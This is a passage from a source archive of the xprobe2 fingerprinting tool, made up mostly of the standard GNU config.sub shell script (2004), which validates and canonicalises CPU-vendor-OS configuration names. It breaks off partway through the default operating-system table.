# Local variables: # eval: (add-hook 'write-file-hooks 'time-stamp) # time-stamp-start: "timestamp='" # time-stamp-format: "%:y-%02m-%02d" # time-stamp-end: "'" # End: xprobe2-0.3/libs-external/USI++/src/cfgaux/config.sub000755 001751 000000 00000075113 10271643767 022575 0ustar00mederwheel000000 000000 #! /bin/sh # Configuration validation subroutine script. # Copyright (C) 1992, 1993, 1994, 1995, 1996, 1997, 1998, 1999, # 2000, 2001, 2002, 2003, 2004 Free Software Foundation, Inc. timestamp='2004-08-29' # This file is (in principle) common to ALL GNU software. # The presence of a machine in this file suggests that SOME GNU software # can handle that machine. It does not imply ALL GNU software can. # # This file is free software; you can redistribute it and/or modify # it under the terms of the GNU General Public License as published by # the Free Software Foundation; either version 2 of the License, or # (at your option) any later version. # # This program is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # GNU General Public License for more details. # # You should have received a copy of the GNU General Public License # along with this program; if not, write to the Free Software # Foundation, Inc., 59 Temple Place - Suite 330, # Boston, MA 02111-1307, USA. # As a special exception to the GNU General Public License, if you # distribute this file as part of a program that contains a # configuration script generated by Autoconf, you may include it under # the same distribution terms that you use for the rest of that program. # Please send patches to . Submit a context # diff and a properly formatted ChangeLog entry. # # Configuration subroutine to validate and canonicalize a configuration type. # Supply the specified configuration type as an argument. # If it is invalid, we print an error message on stderr and exit with code 1. # Otherwise, we print the canonical config type on stdout and succeed. # This file is supposed to be the same for all GNU packages # and recognize all the CPU types, system types and aliases # that are meaningful with *any* GNU software. # Each package is responsible for reporting which valid configurations # it does not support. The user should be able to distinguish # a failure to support a valid configuration from a meaningless # configuration. # The goal of this file is to map all the various variations of a given # machine specification into a single specification in the form: # CPU_TYPE-MANUFACTURER-OPERATING_SYSTEM # or in some cases, the newer four-part form: # CPU_TYPE-MANUFACTURER-KERNEL-OPERATING_SYSTEM # It is wrong to echo any other type of specification. me=`echo "$0" | sed -e 's,.*/,,'` usage="\ Usage: $0 [OPTION] CPU-MFR-OPSYS $0 [OPTION] ALIAS Canonicalize a configuration name. Operation modes: -h, --help print this help, then exit -t, --time-stamp print date of last modification, then exit -v, --version print version number, then exit Report bugs and patches to ." version="\ GNU config.sub ($timestamp) Copyright (C) 1992, 1993, 1994, 1995, 1996, 1997, 1998, 1999, 2000, 2001, 2002, 2003, 2004 Free Software Foundation, Inc. This is free software; see the source for copying conditions. There is NO warranty; not even for MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE." help=" Try \`$me --help' for more information." # Parse command line while test $# -gt 0 ; do case $1 in --time-stamp | --time* | -t ) echo "$timestamp" ; exit 0 ;; --version | -v ) echo "$version" ; exit 0 ;; --help | --h* | -h ) echo "$usage"; exit 0 ;; -- ) # Stop option processing shift; break ;; - ) # Use stdin as input. break ;; -* ) echo "$me: invalid option $1$help" exit 1 ;; *local*) # First pass through any local machine types. echo $1 exit 0;; * ) break ;; esac done case $# in 0) echo "$me: missing argument$help" >&2 exit 1;; 1) ;; *) echo "$me: too many arguments$help" >&2 exit 1;; esac # Separate what the user gave into CPU-COMPANY and OS or KERNEL-OS (if any). # Here we must recognize all the valid KERNEL-OS combinations. maybe_os=`echo $1 | sed 's/^\(.*\)-\([^-]*-[^-]*\)$/\2/'` case $maybe_os in nto-qnx* | linux-gnu* | linux-dietlibc | linux-uclibc* | uclinux-uclibc* | uclinux-gnu* | \ kfreebsd*-gnu* | knetbsd*-gnu* | netbsd*-gnu* | storm-chaos* | os2-emx* | rtmk-nova*) os=-$maybe_os basic_machine=`echo $1 | sed 's/^\(.*\)-\([^-]*-[^-]*\)$/\1/'` ;; *) basic_machine=`echo $1 | sed 's/-[^-]*$//'` if [ $basic_machine != $1 ] then os=`echo $1 | sed 's/.*-/-/'` else os=; fi ;; esac ### Let's recognize common machines as not being operating systems so ### that things like config.sub decstation-3100 work. We also ### recognize some manufacturers as not being operating systems, so we ### can provide default operating systems below. case $os in -sun*os*) # Prevent following clause from handling this invalid input. ;; -dec* | -mips* | -sequent* | -encore* | -pc532* | -sgi* | -sony* | \ -att* | -7300* | -3300* | -delta* | -motorola* | -sun[234]* | \ -unicom* | -ibm* | -next | -hp | -isi* | -apollo | -altos* | \ -convergent* | -ncr* | -news | -32* | -3600* | -3100* | -hitachi* |\ -c[123]* | -convex* | -sun | -crds | -omron* | -dg | -ultra | -tti* | \ -harris | -dolphin | -highlevel | -gould | -cbm | -ns | -masscomp | \ -apple | -axis | -knuth | -cray) os= basic_machine=$1 ;; -sim | -cisco | -oki | -wec | -winbond) os= basic_machine=$1 ;; -scout) ;; -wrs) os=-vxworks basic_machine=$1 ;; -chorusos*) os=-chorusos basic_machine=$1 ;; -chorusrdb) os=-chorusrdb basic_machine=$1 ;; -hiux*) os=-hiuxwe2 ;; -sco5) os=-sco3.2v5 basic_machine=`echo $1 | sed -e 's/86-.*/86-pc/'` ;; -sco4) os=-sco3.2v4 basic_machine=`echo $1 | sed -e 's/86-.*/86-pc/'` ;; -sco3.2.[4-9]*) os=`echo $os | sed -e 's/sco3.2./sco3.2v/'` basic_machine=`echo $1 | sed -e 's/86-.*/86-pc/'` ;; -sco3.2v[4-9]*) # Don't forget version if it is 3.2v4 or newer. basic_machine=`echo $1 | sed -e 's/86-.*/86-pc/'` ;; -sco*) os=-sco3.2v2 basic_machine=`echo $1 | sed -e 's/86-.*/86-pc/'` ;; -udk*) basic_machine=`echo $1 | sed -e 's/86-.*/86-pc/'` ;; -isc) os=-isc2.2 basic_machine=`echo $1 | sed -e 's/86-.*/86-pc/'` ;; -clix*) basic_machine=clipper-intergraph ;; -isc*) basic_machine=`echo $1 | sed -e 's/86-.*/86-pc/'` ;; -lynx*) os=-lynxos ;; -ptx*) basic_machine=`echo $1 | sed -e 's/86-.*/86-sequent/'` ;; -windowsnt*) os=`echo $os | sed -e 's/windowsnt/winnt/'` ;; -psos*) os=-psos ;; -mint | -mint[0-9]*) basic_machine=m68k-atari os=-mint ;; esac # Decode aliases for certain CPU-COMPANY combinations. case $basic_machine in # Recognize the basic CPU types without company name. # Some are omitted here because they have special meanings below. 1750a | 580 \ | a29k \ | alpha | alphaev[4-8] | alphaev56 | alphaev6[78] | alphapca5[67] \ | alpha64 | alpha64ev[4-8] | alpha64ev56 | alpha64ev6[78] | alpha64pca5[67] \ | am33_2.0 \ | arc | arm | arm[bl]e | arme[lb] | armv[2345] | armv[345][lb] | avr \ | c4x | clipper \ | d10v | d30v | dlx | dsp16xx \ | fr30 | frv \ | h8300 | h8500 | hppa | hppa1.[01] | hppa2.0 | hppa2.0[nw] | hppa64 \ | i370 | i860 | i960 | ia64 \ | ip2k | iq2000 \ | m32r | m32rle | m68000 | m68k | m88k | mcore \ | mips | mipsbe | mipseb | mipsel | mipsle \ | mips16 \ | mips64 | mips64el \ | mips64vr | mips64vrel \ | mips64orion | mips64orionel \ | mips64vr4100 | mips64vr4100el \ | mips64vr4300 | mips64vr4300el \ | mips64vr5000 | mips64vr5000el \ | mipsisa32 | mipsisa32el \ | mipsisa32r2 | mipsisa32r2el \ | mipsisa64 | mipsisa64el \ | mipsisa64r2 | mipsisa64r2el \ | mipsisa64sb1 | mipsisa64sb1el \ | mipsisa64sr71k | mipsisa64sr71kel \ | mipstx39 | mipstx39el \ | mn10200 | mn10300 \ | msp430 \ | ns16k | ns32k \ | openrisc | or32 \ | pdp10 | pdp11 | pj | pjl \ | powerpc | powerpc64 | powerpc64le | powerpcle | ppcbe \ | pyramid \ | sh | sh[1234] | sh[23]e | sh[34]eb | shbe | shle | sh[1234]le | sh3ele \ | sh64 | sh64le \ | sparc | sparc64 | sparc86x | sparclet | sparclite | sparcv8 | sparcv9 | sparcv9b \ | strongarm \ | tahoe | thumb | tic4x | tic80 | tron \ | v850 | v850e \ | we32k \ | x86 | xscale | xstormy16 | xtensa \ | z8k) basic_machine=$basic_machine-unknown ;; m6811 | m68hc11 | m6812 | m68hc12) # Motorola 68HC11/12. basic_machine=$basic_machine-unknown os=-none ;; m88110 | m680[12346]0 | m683?2 | m68360 | m5200 | v70 | w65 | z8k) ;; # We use `pc' rather than `unknown' # because (1) that's what they normally are, and # (2) the word "unknown" tends to confuse beginning users. i*86 | x86_64) basic_machine=$basic_machine-pc ;; # Object if more than one company name word. *-*-*) echo Invalid configuration \`$1\': machine \`$basic_machine\' not recognized 1>&2 exit 1 ;; # Recognize the basic CPU types with company name. 580-* \ | a29k-* \ | alpha-* | alphaev[4-8]-* | alphaev56-* | alphaev6[78]-* \ | alpha64-* | alpha64ev[4-8]-* | alpha64ev56-* | alpha64ev6[78]-* \ | alphapca5[67]-* | alpha64pca5[67]-* | arc-* \ | arm-* | armbe-* | armle-* | armeb-* | armv*-* \ | avr-* \ | bs2000-* \ | c[123]* | c30-* | [cjt]90-* | c4x-* | c54x-* | c55x-* | c6x-* \ | clipper-* | craynv-* | cydra-* \ | d10v-* | d30v-* | dlx-* \ | elxsi-* \ | f30[01]-* | f700-* | fr30-* | frv-* | fx80-* \ | h8300-* | h8500-* \ | hppa-* | hppa1.[01]-* | hppa2.0-* | hppa2.0[nw]-* | hppa64-* \ | i*86-* | i860-* | i960-* | ia64-* \ | ip2k-* | iq2000-* \ | m32r-* | m32rle-* \ | m68000-* | m680[012346]0-* | m68360-* | m683?2-* | m68k-* \ | m88110-* | m88k-* | mcore-* \ | mips-* | mipsbe-* | mipseb-* | mipsel-* | mipsle-* \ | mips16-* \ | mips64-* | mips64el-* \ | mips64vr-* | mips64vrel-* \ | mips64orion-* | mips64orionel-* \ | mips64vr4100-* | mips64vr4100el-* \ | mips64vr4300-* | mips64vr4300el-* \ | mips64vr5000-* | mips64vr5000el-* \ | mipsisa32-* | mipsisa32el-* \ | mipsisa32r2-* | mipsisa32r2el-* \ | mipsisa64-* | mipsisa64el-* \ | mipsisa64r2-* | mipsisa64r2el-* \ | mipsisa64sb1-* | mipsisa64sb1el-* \ | mipsisa64sr71k-* | mipsisa64sr71kel-* \ | mipstx39-* | mipstx39el-* \ | mmix-* \ | msp430-* \ | none-* | np1-* | ns16k-* | ns32k-* \ | orion-* \ | pdp10-* | pdp11-* | pj-* | pjl-* | pn-* | power-* \ | powerpc-* | powerpc64-* | powerpc64le-* | powerpcle-* | ppcbe-* \ | pyramid-* \ | romp-* | rs6000-* \ | sh-* | sh[1234]-* | sh[23]e-* | sh[34]eb-* | shbe-* \ | shle-* | sh[1234]le-* | sh3ele-* | sh64-* | sh64le-* \ | sparc-* | sparc64-* | sparc86x-* | sparclet-* | sparclite-* \ | sparcv8-* | sparcv9-* | sparcv9b-* | strongarm-* | sv1-* | sx?-* \ | tahoe-* | thumb-* \ | tic30-* | tic4x-* | tic54x-* | tic55x-* | tic6x-* | tic80-* \ | tron-* \ | v850-* | v850e-* | vax-* \ | we32k-* \ | x86-* | x86_64-* | xps100-* | xscale-* | xstormy16-* \ | xtensa-* \ | ymp-* \ | z8k-*) ;; # Recognize the various machine names and aliases which stand # for a CPU type and a company and sometimes even an OS. 386bsd) basic_machine=i386-unknown os=-bsd ;; 3b1 | 7300 | 7300-att | att-7300 | pc7300 | safari | unixpc) basic_machine=m68000-att ;; 3b*) basic_machine=we32k-att ;; a29khif) basic_machine=a29k-amd os=-udi ;; abacus) basic_machine=abacus-unknown ;; adobe68k) basic_machine=m68010-adobe os=-scout ;; alliant | fx80) basic_machine=fx80-alliant ;; altos | altos3068) basic_machine=m68k-altos ;; am29k) basic_machine=a29k-none os=-bsd ;; amd64) basic_machine=x86_64-pc ;; amd64-*) basic_machine=x86_64-`echo $basic_machine | sed 's/^[^-]*-//'` ;; amdahl) basic_machine=580-amdahl os=-sysv ;; amiga | amiga-*) basic_machine=m68k-unknown ;; amigaos | amigados) basic_machine=m68k-unknown os=-amigaos ;; amigaunix | amix) basic_machine=m68k-unknown os=-sysv4 ;; apollo68) basic_machine=m68k-apollo os=-sysv ;; apollo68bsd) basic_machine=m68k-apollo os=-bsd ;; aux) basic_machine=m68k-apple os=-aux ;; balance) basic_machine=ns32k-sequent os=-dynix ;; c90) basic_machine=c90-cray os=-unicos ;; convex-c1) basic_machine=c1-convex os=-bsd ;; convex-c2) basic_machine=c2-convex os=-bsd ;; convex-c32) basic_machine=c32-convex os=-bsd ;; convex-c34) basic_machine=c34-convex os=-bsd ;; convex-c38) basic_machine=c38-convex os=-bsd ;; cray | j90) basic_machine=j90-cray os=-unicos ;; craynv) basic_machine=craynv-cray os=-unicosmp ;; cr16c) basic_machine=cr16c-unknown os=-elf ;; crds | unos) basic_machine=m68k-crds ;; crisv32 | crisv32-* | etraxfs*) basic_machine=crisv32-axis ;; cris | cris-* | etrax*) basic_machine=cris-axis ;; crx) basic_machine=crx-unknown os=-elf ;; da30 | da30-*) basic_machine=m68k-da30 ;; decstation | decstation-3100 | pmax | pmax-* | pmin | dec3100 | decstatn) basic_machine=mips-dec ;; decsystem10* | dec10*) basic_machine=pdp10-dec os=-tops10 ;; decsystem20* | dec20*) basic_machine=pdp10-dec os=-tops20 ;; delta | 3300 | motorola-3300 | motorola-delta \ | 3300-motorola | delta-motorola) basic_machine=m68k-motorola ;; delta88) basic_machine=m88k-motorola os=-sysv3 ;; dpx20 | dpx20-*) basic_machine=rs6000-bull os=-bosx ;; dpx2* | dpx2*-bull) basic_machine=m68k-bull os=-sysv3 ;; ebmon29k) basic_machine=a29k-amd os=-ebmon ;; elxsi) basic_machine=elxsi-elxsi os=-bsd ;; encore | umax | mmax) basic_machine=ns32k-encore ;; es1800 | OSE68k | ose68k | ose | OSE) basic_machine=m68k-ericsson os=-ose ;; fx2800) basic_machine=i860-alliant ;; genix) basic_machine=ns32k-ns ;; gmicro) basic_machine=tron-gmicro os=-sysv ;; go32) basic_machine=i386-pc os=-go32 ;; h3050r* | hiux*) basic_machine=hppa1.1-hitachi os=-hiuxwe2 ;; h8300hms) basic_machine=h8300-hitachi os=-hms ;; h8300xray) basic_machine=h8300-hitachi os=-xray ;; h8500hms) basic_machine=h8500-hitachi os=-hms ;; harris) basic_machine=m88k-harris os=-sysv3 ;; hp300-*) basic_machine=m68k-hp ;; hp300bsd) basic_machine=m68k-hp os=-bsd ;; hp300hpux) basic_machine=m68k-hp os=-hpux ;; hp3k9[0-9][0-9] | hp9[0-9][0-9]) basic_machine=hppa1.0-hp ;; hp9k2[0-9][0-9] | hp9k31[0-9]) basic_machine=m68000-hp ;; hp9k3[2-9][0-9]) basic_machine=m68k-hp ;; hp9k6[0-9][0-9] | hp6[0-9][0-9]) basic_machine=hppa1.0-hp ;; hp9k7[0-79][0-9] | hp7[0-79][0-9]) basic_machine=hppa1.1-hp ;; hp9k78[0-9] | hp78[0-9]) # FIXME: really hppa2.0-hp basic_machine=hppa1.1-hp ;; hp9k8[67]1 | hp8[67]1 | hp9k80[24] | hp80[24] | hp9k8[78]9 | hp8[78]9 | hp9k893 | hp893) # FIXME: really hppa2.0-hp basic_machine=hppa1.1-hp ;; hp9k8[0-9][13679] | hp8[0-9][13679]) basic_machine=hppa1.1-hp ;; hp9k8[0-9][0-9] | hp8[0-9][0-9]) basic_machine=hppa1.0-hp ;; hppa-next) os=-nextstep3 ;; hppaosf) basic_machine=hppa1.1-hp os=-osf ;; hppro) basic_machine=hppa1.1-hp os=-proelf ;; i370-ibm* | ibm*) basic_machine=i370-ibm ;; # I'm not sure what "Sysv32" means. Should this be sysv3.2? i*86v32) basic_machine=`echo $1 | sed -e 's/86.*/86-pc/'` os=-sysv32 ;; i*86v4*) basic_machine=`echo $1 | sed -e 's/86.*/86-pc/'` os=-sysv4 ;; i*86v) basic_machine=`echo $1 | sed -e 's/86.*/86-pc/'` os=-sysv ;; i*86sol2) basic_machine=`echo $1 | sed -e 's/86.*/86-pc/'` os=-solaris2 ;; i386mach) basic_machine=i386-mach os=-mach ;; i386-vsta | vsta) basic_machine=i386-unknown os=-vsta ;; iris | iris4d) basic_machine=mips-sgi case $os in -irix*) ;; *) os=-irix4 ;; esac ;; isi68 | isi) basic_machine=m68k-isi os=-sysv ;; m88k-omron*) basic_machine=m88k-omron ;; magnum | m3230) basic_machine=mips-mips os=-sysv ;; merlin) basic_machine=ns32k-utek os=-sysv ;; mingw32) basic_machine=i386-pc os=-mingw32 ;; miniframe) basic_machine=m68000-convergent ;; *mint | -mint[0-9]* | *MiNT | *MiNT[0-9]*) basic_machine=m68k-atari os=-mint ;; mips3*-*) basic_machine=`echo $basic_machine | sed -e 's/mips3/mips64/'` ;; mips3*) basic_machine=`echo $basic_machine | sed -e 's/mips3/mips64/'`-unknown ;; monitor) basic_machine=m68k-rom68k os=-coff ;; morphos) basic_machine=powerpc-unknown os=-morphos ;; msdos) basic_machine=i386-pc os=-msdos ;; mvs) basic_machine=i370-ibm os=-mvs ;; ncr3000) basic_machine=i486-ncr os=-sysv4 ;; netbsd386) basic_machine=i386-unknown os=-netbsd ;; netwinder) basic_machine=armv4l-rebel os=-linux ;; news | news700 | news800 | news900) basic_machine=m68k-sony os=-newsos ;; news1000) basic_machine=m68030-sony os=-newsos ;; news-3600 | risc-news) basic_machine=mips-sony os=-newsos ;; necv70) basic_machine=v70-nec os=-sysv ;; next | m*-next ) basic_machine=m68k-next case $os in -nextstep* ) ;; -ns2*) os=-nextstep2 ;; *) os=-nextstep3 ;; esac ;; nh3000) basic_machine=m68k-harris os=-cxux ;; nh[45]000) basic_machine=m88k-harris os=-cxux ;; nindy960) basic_machine=i960-intel os=-nindy ;; mon960) basic_machine=i960-intel os=-mon960 ;; nonstopux) basic_machine=mips-compaq os=-nonstopux ;; np1) basic_machine=np1-gould ;; nsr-tandem) basic_machine=nsr-tandem ;; op50n-* | op60c-*) basic_machine=hppa1.1-oki os=-proelf ;; or32 | or32-*) basic_machine=or32-unknown os=-coff ;; os400) basic_machine=powerpc-ibm os=-os400 ;; OSE68000 | ose68000) basic_machine=m68000-ericsson os=-ose ;; os68k) basic_machine=m68k-none os=-os68k ;; pa-hitachi) basic_machine=hppa1.1-hitachi os=-hiuxwe2 ;; paragon) basic_machine=i860-intel os=-osf ;; pbd) basic_machine=sparc-tti ;; pbb) basic_machine=m68k-tti ;; pc532 | pc532-*) basic_machine=ns32k-pc532 ;; pentium | p5 | k5 | k6 | nexgen | viac3) basic_machine=i586-pc ;; pentiumpro | p6 | 6x86 | athlon | athlon_*) basic_machine=i686-pc ;; pentiumii | pentium2 | pentiumiii | pentium3) basic_machine=i686-pc ;; pentium4) basic_machine=i786-pc ;; pentium-* | p5-* | k5-* | k6-* | nexgen-* | viac3-*) basic_machine=i586-`echo $basic_machine | sed 's/^[^-]*-//'` ;; pentiumpro-* | p6-* | 6x86-* | athlon-*) basic_machine=i686-`echo $basic_machine | sed 's/^[^-]*-//'` ;; pentiumii-* | pentium2-* | pentiumiii-* | pentium3-*) basic_machine=i686-`echo $basic_machine | sed 's/^[^-]*-//'` ;; pentium4-*) basic_machine=i786-`echo $basic_machine | sed 's/^[^-]*-//'` ;; pn) basic_machine=pn-gould ;; power) basic_machine=power-ibm ;; ppc) basic_machine=powerpc-unknown ;; ppc-*) basic_machine=powerpc-`echo $basic_machine | sed 's/^[^-]*-//'` ;; ppcle | powerpclittle | ppc-le | powerpc-little) basic_machine=powerpcle-unknown ;; ppcle-* | powerpclittle-*) basic_machine=powerpcle-`echo $basic_machine | sed 's/^[^-]*-//'` ;; ppc64) basic_machine=powerpc64-unknown ;; ppc64-*) basic_machine=powerpc64-`echo $basic_machine | sed 's/^[^-]*-//'` ;; ppc64le | powerpc64little | ppc64-le | powerpc64-little) basic_machine=powerpc64le-unknown ;; ppc64le-* | powerpc64little-*) basic_machine=powerpc64le-`echo $basic_machine | sed 's/^[^-]*-//'` ;; ps2) basic_machine=i386-ibm ;; pw32) basic_machine=i586-unknown os=-pw32 ;; rom68k) basic_machine=m68k-rom68k os=-coff ;; rm[46]00) basic_machine=mips-siemens ;; rtpc | rtpc-*) basic_machine=romp-ibm ;; s390 | s390-*) basic_machine=s390-ibm ;; s390x | s390x-*) basic_machine=s390x-ibm ;; sa29200) basic_machine=a29k-amd os=-udi ;; sb1) basic_machine=mipsisa64sb1-unknown ;; sb1el) basic_machine=mipsisa64sb1el-unknown ;; sei) basic_machine=mips-sei os=-seiux ;; sequent) basic_machine=i386-sequent ;; sh) basic_machine=sh-hitachi os=-hms ;; sh64) basic_machine=sh64-unknown ;; sparclite-wrs | simso-wrs) basic_machine=sparclite-wrs os=-vxworks ;; sps7) basic_machine=m68k-bull os=-sysv2 ;; spur) basic_machine=spur-unknown ;; st2000) basic_machine=m68k-tandem ;; stratus) basic_machine=i860-stratus os=-sysv4 ;; sun2) basic_machine=m68000-sun ;; sun2os3) basic_machine=m68000-sun os=-sunos3 ;; sun2os4) basic_machine=m68000-sun os=-sunos4 ;; sun3os3) basic_machine=m68k-sun os=-sunos3 ;; sun3os4) basic_machine=m68k-sun os=-sunos4 ;; sun4os3) basic_machine=sparc-sun os=-sunos3 ;; sun4os4) basic_machine=sparc-sun os=-sunos4 ;; sun4sol2) basic_machine=sparc-sun os=-solaris2 ;; sun3 | sun3-*) basic_machine=m68k-sun ;; sun4) basic_machine=sparc-sun ;; sun386 | sun386i | roadrunner) basic_machine=i386-sun ;; sv1) basic_machine=sv1-cray os=-unicos ;; symmetry) basic_machine=i386-sequent os=-dynix ;; t3e) basic_machine=alphaev5-cray os=-unicos ;; t90) basic_machine=t90-cray os=-unicos ;; tic54x | c54x*) basic_machine=tic54x-unknown os=-coff ;; tic55x | c55x*) basic_machine=tic55x-unknown os=-coff ;; tic6x | c6x*) basic_machine=tic6x-unknown os=-coff ;; tx39) basic_machine=mipstx39-unknown ;; tx39el) basic_machine=mipstx39el-unknown ;; toad1) basic_machine=pdp10-xkl os=-tops20 ;; tower | tower-32) basic_machine=m68k-ncr ;; tpf) basic_machine=s390x-ibm os=-tpf ;; udi29k) basic_machine=a29k-amd os=-udi ;; ultra3) basic_machine=a29k-nyu os=-sym1 ;; v810 | necv810) basic_machine=v810-nec os=-none ;; vaxv) basic_machine=vax-dec os=-sysv ;; vms) basic_machine=vax-dec os=-vms ;; vpp*|vx|vx-*) basic_machine=f301-fujitsu ;; vxworks960) basic_machine=i960-wrs os=-vxworks ;; vxworks68) basic_machine=m68k-wrs os=-vxworks ;; vxworks29k) basic_machine=a29k-wrs os=-vxworks ;; w65*) basic_machine=w65-wdc os=-none ;; w89k-*) basic_machine=hppa1.1-winbond os=-proelf ;; xps | xps100) basic_machine=xps100-honeywell ;; ymp) basic_machine=ymp-cray os=-unicos ;; z8k-*-coff) basic_machine=z8k-unknown os=-sim ;; none) basic_machine=none-none os=-none ;; # Here we handle the default manufacturer of certain CPU types. It is in # some cases the only manufacturer, in others, it is the most popular. w89k) basic_machine=hppa1.1-winbond ;; op50n) basic_machine=hppa1.1-oki ;; op60c) basic_machine=hppa1.1-oki ;; romp) basic_machine=romp-ibm ;; mmix) basic_machine=mmix-knuth ;; rs6000) basic_machine=rs6000-ibm ;; vax) basic_machine=vax-dec ;; pdp10) # there are many clones, so DEC is not a safe bet basic_machine=pdp10-unknown ;; pdp11) basic_machine=pdp11-dec ;; we32k) basic_machine=we32k-att ;; sh3 | sh4 | sh[34]eb | sh[1234]le | sh[23]ele) basic_machine=sh-unknown ;; sh64) basic_machine=sh64-unknown ;; sparc | sparcv8 | sparcv9 | sparcv9b) basic_machine=sparc-sun ;; cydra) basic_machine=cydra-cydrome ;; orion) basic_machine=orion-highlevel ;; orion105) basic_machine=clipper-highlevel ;; mac | mpw | mac-mpw) basic_machine=m68k-apple ;; pmac | pmac-mpw) basic_machine=powerpc-apple ;; *-unknown) # Make sure to match an already-canonicalized machine name. ;; *) echo Invalid configuration \`$1\': machine \`$basic_machine\' not recognized 1>&2 exit 1 ;; esac # Here we canonicalize certain aliases for manufacturers. case $basic_machine in *-digital*) basic_machine=`echo $basic_machine | sed 's/digital.*/dec/'` ;; *-commodore*) basic_machine=`echo $basic_machine | sed 's/commodore.*/cbm/'` ;; *) ;; esac # Decode manufacturer-specific aliases for certain operating systems. if [ x"$os" != x"" ] then case $os in # First match some system type aliases # that might get confused with valid system types. # -solaris* is a basic system type, with this one exception. -solaris1 | -solaris1.*) os=`echo $os | sed -e 's|solaris1|sunos4|'` ;; -solaris) os=-solaris2 ;; -svr4*) os=-sysv4 ;; -unixware*) os=-sysv4.2uw ;; -gnu/linux*) os=`echo $os | sed -e 's|gnu/linux|linux-gnu|'` ;; # First accept the basic system types. # The portable systems comes first. # Each alternative MUST END IN A *, to match a version number. # -sysv* is not here because it comes later, after sysvr4. -gnu* | -bsd* | -mach* | -minix* | -genix* | -ultrix* | -irix* \ | -*vms* | -sco* | -esix* | -isc* | -aix* | -sunos | -sunos[34]*\ | -hpux* | -unos* | -osf* | -luna* | -dgux* | -solaris* | -sym* \ | -amigaos* | -amigados* | -msdos* | -newsos* | -unicos* | -aof* \ | -aos* \ | -nindy* | -vxsim* | -vxworks* | -ebmon* | -hms* | -mvs* \ | -clix* | -riscos* | -uniplus* | -iris* | -rtu* | -xenix* \ | -hiux* | -386bsd* | -knetbsd* | -mirbsd* | -netbsd* | -openbsd* \ | -ekkobsd* | -kfreebsd* | -freebsd* | -riscix* | -lynxos* \ | -bosx* | -nextstep* | -cxux* | -aout* | -elf* | -oabi* \ | -ptx* | -coff* | -ecoff* | -winnt* | -domain* | -vsta* \ | -udi* | -eabi* | -lites* | -ieee* | -go32* | -aux* \ | -chorusos* | -chorusrdb* \ | -cygwin* | -pe* | -psos* | -moss* | -proelf* | -rtems* \ | -mingw32* | -linux-gnu* | -linux-uclibc* | -uxpv* | -beos* | -mpeix* | -udk* \ | -interix* | -uwin* | -mks* | -rhapsody* | -darwin* | -opened* \ | -openstep* | -oskit* | -conix* | -pw32* | -nonstopux* \ | -storm-chaos* | -tops10* | -tenex* | -tops20* | -its* \ | -os2* | -vos* | -palmos* | -uclinux* | -nucleus* \ | -morphos* | -superux* | -rtmk* | -rtmk-nova* | -windiss* \ | -powermax* | -dnix* | -nx6 | -nx7 | -sei* | -dragonfly*) # Remember, each alternative MUST END IN *, to match a version number. ;; -qnx*) case $basic_machine in x86-* | i*86-*) ;; *) os=-nto$os ;; esac ;; -nto-qnx*) ;; -nto*) os=`echo $os | sed -e 's|nto|nto-qnx|'` ;; -sim | -es1800* | -hms* | -xray | -os68k* | -none* | -v88r* \ | -windows* | -osx | -abug | -netware* | -os9* | -beos* \ | -macos* | -mpw* | -magic* | -mmixware* | -mon960* | -lnews*) ;; -mac*) os=`echo $os | sed -e 's|mac|macos|'` ;; -linux-dietlibc) os=-linux-dietlibc ;; -linux*) os=`echo $os | sed -e 's|linux|linux-gnu|'` ;; -sunos5*) os=`echo $os | sed -e 's|sunos5|solaris2|'` ;; -sunos6*) os=`echo $os | sed -e 's|sunos6|solaris3|'` ;; -opened*) os=-openedition ;; -os400*) os=-os400 ;; -wince*) os=-wince ;; -osfrose*) os=-osfrose ;; -osf*) os=-osf ;; -utek*) os=-bsd ;; -dynix*) os=-bsd ;; -acis*) os=-aos ;; -atheos*) os=-atheos ;; -syllable*) os=-syllable ;; -386bsd) os=-bsd ;; -ctix* | -uts*) os=-sysv ;; -nova*) os=-rtmk-nova ;; -ns2 ) os=-nextstep2 ;; -nsk*) os=-nsk ;; # Preserve the version number of sinix5. -sinix5.*) os=`echo $os | sed -e 's|sinix|sysv|'` ;; -sinix*) os=-sysv4 ;; -tpf*) os=-tpf ;; -triton*) os=-sysv3 ;; -oss*) os=-sysv3 ;; -svr4) os=-sysv4 ;; -svr3) os=-sysv3 ;; -sysvr4) os=-sysv4 ;; # This must come after -sysvr4. -sysv*) ;; -ose*) os=-ose ;; -es1800*) os=-ose ;; -xenix) os=-xenix ;; -*mint | -mint[0-9]* | -*MiNT | -MiNT[0-9]*) os=-mint ;; -aros*) os=-aros ;; -kaos*) os=-kaos ;; -none) ;; *) # Get rid of the `-' at the beginning of $os. os=`echo $os | sed 's/[^-]*-//'` echo Invalid configuration \`$1\': system \`$os\' not recognized 1>&2 exit 1 ;; esac else # Here we handle the default operating systems that come with various machines. # The value should be what the vendor currently ships out the door with their # machine or put another way, the most popular os provided with the machine. # Note that if you're going to try to match "-MANUFACTURER" here (say, # "-sun"), then you have to tell the case statement up towards the top # that MANUFACTURER isn't an operating system. Otherwise, code above # will signal an error saying that MANUFACTURER isn't an operating # system, and we'll never get to this point. case $basic_machine in *-acorn) os=-riscix1.2 ;; arm*-rebel) os=-linux ;; arm*-semi) os=-aout ;; c4x-* | tic4x-*) os=-coff ;; # This must come before the *-dec entry. pdp10-*) os=-tops20 ;; pdp11-*) os=-none ;; *-dec | vax-*) os=-ultrix4.2 ;; m68*-apollo) os=-domain ;; i386-sun) os=-sunos4.0.2 ;; m68000-sun) os=-sunos3 # This also exists in the configure program, but was not the # default. # os=-sunos4 ;; m68*-cisco) os=-aout ;; mips*-cisco) os=-elf ;; mips*-*) os=-elf ;; or32-*) os=-coff ;; *-tti) # must be before sparc entry or we get the wrong os. os=-sysv3 ;; sparc-* | *-sun) os=-sunos4.1.1 ;; *-be) os=-beos ;; *-ibm) os=-aix ;; *-knuth) os=-mmixware ;; *-wec) os=-proelf ;; *-winbond) os=-proelf ;; *-oki) os=-proelf ;; *-hp) os=-hpux ;; *-hitachi) os=-hiux ;; i860-* | *-att | *-ncr | *-altos | *-motorola | *-convergent) os=-sysv ;; *-cbm) os=-amigaos ;; *-dg) os=-dgux ;; *-dolphin) os=-sysv3 ;; m68k-ccur) os=-rtu ;; m88k-omron*) os=-luna ;; *-next ) os=-nextstep ;; *-sequent) os=-ptx ;; *-crds) os=-unos ;; *-ns) os=-genix ;; i370-*) os=-mvs ;; *-next) os=-nextstep3 